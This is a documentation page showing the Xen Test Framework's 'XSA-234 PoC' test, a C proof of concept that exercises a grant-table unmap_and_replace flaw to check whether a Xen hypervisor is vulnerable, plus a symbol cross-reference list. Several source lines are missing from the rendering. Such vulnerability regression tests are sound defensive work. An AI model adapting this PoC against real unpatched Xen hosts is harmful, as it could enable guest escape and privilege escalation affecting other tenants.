Xen Test Framework
main.c
Go to the documentation of this file.
1 
15 #include <xtf.h>
16 
17 const char test_title[] = "XSA-234 PoC";
18 
21 
22 void test_main(void)
23 {
24  int rc = xtf_init_grant_table(1);
25  if ( rc )
26  return xtf_error("Error initialising grant table: %d\n", rc);
27 
28  int domid = xtf_get_domid();
29  if ( domid < 0 )
30  return xtf_error("Error getting domid\n");
31 
32  /* Remap frame1 as read-only to drop the writeable reference on it. */
35  return xtf_error("Failed to remap frame1 as read-only\n");
36 
37  /* Grant frame1 and 2 to ourselves. */
38  gnttab_v1[8].domid = domid;
40  smp_wmb();
42 
43  gnttab_v1[9].domid = domid;
45  smp_wmb();
47 
48  /* Grant map frame1 writeably at 4k... */
49  struct gnttab_map_grant_ref map = {
50  .host_addr = KB(4),
51  .flags = GNTMAP_host_map,
52  .ref = 8,
53  .dom = domid,
54  };
55 
57  if ( rc || map.status )
58  return xtf_error("Failed to map grant[8]\n");
59 
60  grant_handle_t f1 = map.handle;
61 
62  /* ...and grant map frame2 readably at 8k. */
63  map = (struct gnttab_map_grant_ref){
64  .host_addr = KB(8),
66  .ref = 9,
67  .dom = domid,
68  };
69 
71  if ( rc || map.status )
72  return xtf_error("Failed to map grant[9]\n");
73 
74  grant_handle_t f2 = map.handle;
75 
76  /*
77  * Use unmap_and_replace on the mapping of frame2, trying to steal the PTE
78  * which maps frame1.
79  */
80  struct gnttab_unmap_and_replace ur = {
81  .host_addr = KB(8),
82  .new_addr = KB(4),
83  .handle = f2,
84  };
85 
87  if ( rc || ur.status )
88  return xtf_error("Failed to unmap and replace grant[9]\n");
89 
90  /*
91  * The mapping for 4k linear has been zapped, Re-point it at frame1
92  * (again, read only so as not to take another type ref) so the vulnerable
93  * unmap sanity checks succeed.
94  */
96  KB(4), pte_from_virt(frame1, PF_SYM(AD, P)), UVMF_INVLPG) )
97  return xtf_error("Failed to reset grant[8]\n");
98 
99  /*
100  * Try to unmap frame1. If Xen is vulnerable, this will succeed without
101  * error. If Xen is not vulnerable, it should fail with
102  * GNTST_general_error beacuse of unexpected PTE flags.
103  */
104  struct gnttab_unmap_grant_ref unmap = {
105  .host_addr = KB(4),
106  .handle = f1,
107  };
108 
110  if ( rc )
111  return xtf_error("Failed to host unmap grant[8]\n");
112 
113  /*
114  * Irrespective of whether the unmap succeeded, double check the typeref
115  * by trying to pin frame1 as a pagetable.
116  */
117  mmuext_op_t op = {
119  .arg1.mfn = virt_to_mfn(frame1),
120  };
121 
122  rc = hypercall_mmuext_op(&op, 1, NULL, DOMID_SELF);
123  switch ( rc )
124  {
125  case 0:
126  return xtf_failure("Fail: Vulnerable to XSA-234\n");
127 
128  case -EINVAL:
129  return xtf_success("Success: Not vulnerable to XSA-234\n");
130 
131  default:
132  return xtf_error("Unexpected MMUEXT_PIN_L1_TABLE rc %d\n", rc);
133  }
134 }
135 
136 /*
137  * Local variables:
138  * mode: C
139  * c-file-style: "BSD"
140  * c-basic-offset: 4
141  * tab-width: 4
142  * indent-tabs-mode: nil
143  * End:
144  */
#define EINVAL
Definition: errno.h:33
static long hypercall_update_va_mapping(unsigned long linear, uint64_t npte, enum XEN_UVMF flags)
Definition: hypercall.h:115
#define __page_aligned_bss
Definition: compiler.h:37
intpte_t pte_from_virt(const void *va, uint64_t flags)
static uint8_t frame2[PAGE_SIZE]
Definition: main.c:20
#define _u(v)
Express an arbitrary value v as unsigned long.
Definition: numbers.h:53
#define GNTMAP_host_map
Definition: grant_table.h:179
#define smp_wmb()
Definition: barrier.h:36
int xtf_get_domid(void)
Obtain the current domid.
Definition: lib.c:47
uint32_t frame
Definition: grant_table.h:117
#define PF_SYM(...)
Create pagetable entry flags based on mnemonics.
unsigned long virt_to_mfn(const void *va)
#define NULL
Definition: stddef.h:12
void xtf_success(const char *fmt,...)
Report test success.
Definition: report.c:38
#define GNTMAP_readonly
Definition: grant_table.h:182
#define KB(num)
Express num in Kilobytes.
Definition: numbers.h:23
void xtf_failure(const char *fmt,...)
Report a test failure.
Definition: report.c:94
void test_main(void)
To be implemented by each test, as its entry point.
Definition: main.c:137
uint32_t grant_handle_t
Definition: grant_table.h:103
Definition: xen.h:355
static unsigned long virt_to_gfn(const void *va)
Definition: mm.h:100
#define GNTTABOP_unmap_and_replace
Definition: grant_table.h:288
int xtf_init_grant_table(unsigned int version)
Initialise XTF&#39;s grant infrastructure.
Definition: grant_table.c:21
const char test_title[]
The title of the test.
Definition: main.c:14
domid_t domid
Definition: grant_table.h:110
static uint8_t frame1[PAGE_SIZE]
Definition: main.c:19
#define PAGE_SIZE
Definition: page.h:11
grant_entry_v1_t gnttab_v1[]
void xtf_error(const char *fmt,...)
Report a test error.
Definition: report.c:80
#define GNTTABOP_unmap_grant_ref
Definition: grant_table.h:247
static long hypercall_grant_table_op(unsigned int cmd, void *args, unsigned int count)
Definition: hypercall.h:131
static long hypercall_mmuext_op(const mmuext_op_t ops[], unsigned int count, unsigned int *done, unsigned int foreigndom)
Definition: hypercall.h:148
grant_handle_t handle
Definition: grant_table.h:232
#define MMUEXT_PIN_L1_TABLE
Definition: xen.h:333
unsigned int cmd
Definition: xen.h:356
uint16_t flags
Definition: grant_table.h:108
#define DOMID_SELF
Definition: xen.h:70
#define GTF_permit_access
Definition: grant_table.h:50
__UINT8_TYPE__ uint8_t
Definition: stdint.h:14
#define GNTTABOP_map_grant_ref
Definition: grant_table.h:223